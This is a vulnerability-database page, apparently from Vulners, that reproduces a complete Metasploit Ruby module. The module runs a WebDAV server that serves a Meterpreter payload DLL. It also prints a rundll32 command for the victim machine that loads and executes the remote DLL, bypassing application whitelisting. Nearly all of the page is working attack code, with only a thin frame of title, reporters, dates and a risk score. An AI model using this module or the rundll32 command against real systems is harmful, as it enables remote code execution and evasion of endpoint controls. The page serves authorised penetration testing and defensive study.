Serve DLL via webdav server

🗓️ 07 Aug 2018 18:56:54Reported by Ryan Hanson <[email protected]>, James Cook <[email protected]>Type
Serve DLL via WebDAV for Rundll32 Application Whitelisting Bypas
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Serve DLL via webdav server',
      'Description'  => %q(
        This module simplifies the rundll32.exe Application Whitelisting Bypass technique.
        The module creates a webdav server that hosts a dll file. When the user types the provided rundll32
        command on a system, rundll32 will load the dll remotly and execute the provided export function.
        The export function needs to be valid, but the default meterpreter function can be anything.
        The process does write the dll to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
        but does not load the dll from that location. This file should be removed after execution.
        The extension can be anything you'd like, but you don't have to use one. Two files will be
        written to disk. One named the requested name and one with a dll extension attached.
      ),
      'License'      => MSF_LICENSE,
      'Author'       =>
        [
          'Ryan Hanson <ryan.hanson[at]optiv.com>', # research  discovery (@ryhanson)
          'James Cook <james.cook[at]optiv.com>'    # MSF Module (@_jbcook)
        ],
      'Targets'        => [['Automatic', {}]],
      'Platform'       => %w[win],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '1999-01-01'))
    register_options(
      [
        OptString.new('URIPATH', [true, 'The URI to use (do not change).', '/'])
      ], self.class
    )
  end

  def primer
    if datastore['URIPATH'] != '/'
      fail_with(Failure::BadConfig, 'Using WebDAV requires URIPATH=/')
    end
    print_status('Run the following command on the target machine:')
    webdav = ''
    if datastore['SSL']
      if datastore['SRVPORT'] != 443
        fail_with(Failure::BadConfig, 'SRVPORT must be 443')
      end
      webdav = "#{datastore['SRVHOST']}@ssl"
    else
      webdav = "#{datastore['SRVHOST']}@#{datastore['SRVPORT']}"
    end
    print_line("rundll32.exe \\\\#{webdav}\\ANYTHING,Init")
  end

  def on_request_uri(cli, _request)
    if _request.uri.downcase =~ /\.config/
      process_ignore(cli, _request)
      return
    elsif _request.uri.downcase =~ /\.manifest/
      process_ignore(cli, _request)
      return
    end
    case _request.method
    when 'OPTIONS'
      process_options(cli, _request)
    when 'PROPFIND'
      process_propfind(cli, _request)
    when 'GET'
      process_get(cli, _request)
    else
      process_ignore(cli, _request)
    end
  end

  # Cli comes from Rex, not from the HttpServer mixin, so we need to make our own send_not_found
  def send_not_found(cli)
    resp_404 = create_response(404, 'Not Found')
    resp_404.body = %Q{\
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
</body></html>
}

    cli.send_response(resp_404)
end

  def process_ignore(cli, _request)
    vprint_status("#{_request.method} => 404 (#{_request.uri})")
    send_not_found(cli)
  end

  def process_options(cli, request)
    vprint_status("OPTIONS #{request.uri}")
    headers = {
      'Allow' => 'GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS',
      'DAV' => '1',
      'Connection' => 'keep-alive'
    }
    resp = create_response(207, 'Multi-Status')
    headers.each_pair { |k, v| resp[k] = v }
    resp.body = ''
    cli.send_response(resp)
  end

  def process_propfind(cli, request)
    vprint_status("PROPFIND #{request.uri}")
    changed = Time.now.strftime('%a, %d %b %Y %H:%M:%S GMT')
    created = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ')
    filename = request.uri.delete('/')
    p = regenerate_payload(cli)
    data = generate_payload_dll(code: p.encoded)
    prop_resp = prop_response(filename, created, data.length, changed)
    vprint_status("Resp: #{prop_resp}")
    resp = create_response(207, 'Multi-Status')
    headers = {
      'Transfer-Encoding' => 'chuncked',
      'Connection' => 'keep-alive'
    }
    headers.each_pair { |k, v| resp[k] = v }
    resp.body = prop_resp
    cli.send_response(resp)
  end

  def process_get(cli, request)
    print_status("GET #{request.uri}")
    resp = create_response(200, 'OK')
    headers = {
      'Content-Type' => 'aplication/octet-stream',
      'Accept-Range' => 'bytes'
    }
    headers.each_pair { |k, v| resp[k] = v }
    p = regenerate_payload(cli)
    data = generate_payload_dll(code: p.encoded)
    resp.body = data
    cli.send_response(resp)
  end

  def prop_response(filename, created, length, changed)
    %(<?xml version="1.0" encoding="utf-8" ?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/#{filename}</D:href>
<D:propstat>
<D:prop>
<D:creationdate>#{created}</D:creationdate>
<D:displayname>#{filename}</D:displayname>
<D:getcontentlanguage/>
<D:getcontentlength>#{length}</D:getcontentlength>
<D:getcontenttype/>
<D:getetag/>
<D:getlastmodified>#{changed}</D:getlastmodified>
<D:lockdiscovery/>
<D:resourcetype/>
<D:source/>
<D:supportedlock/>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>)
  end
end
02 Oct 2020 20:00Current
7.4High risk
Vulners AI Score7.4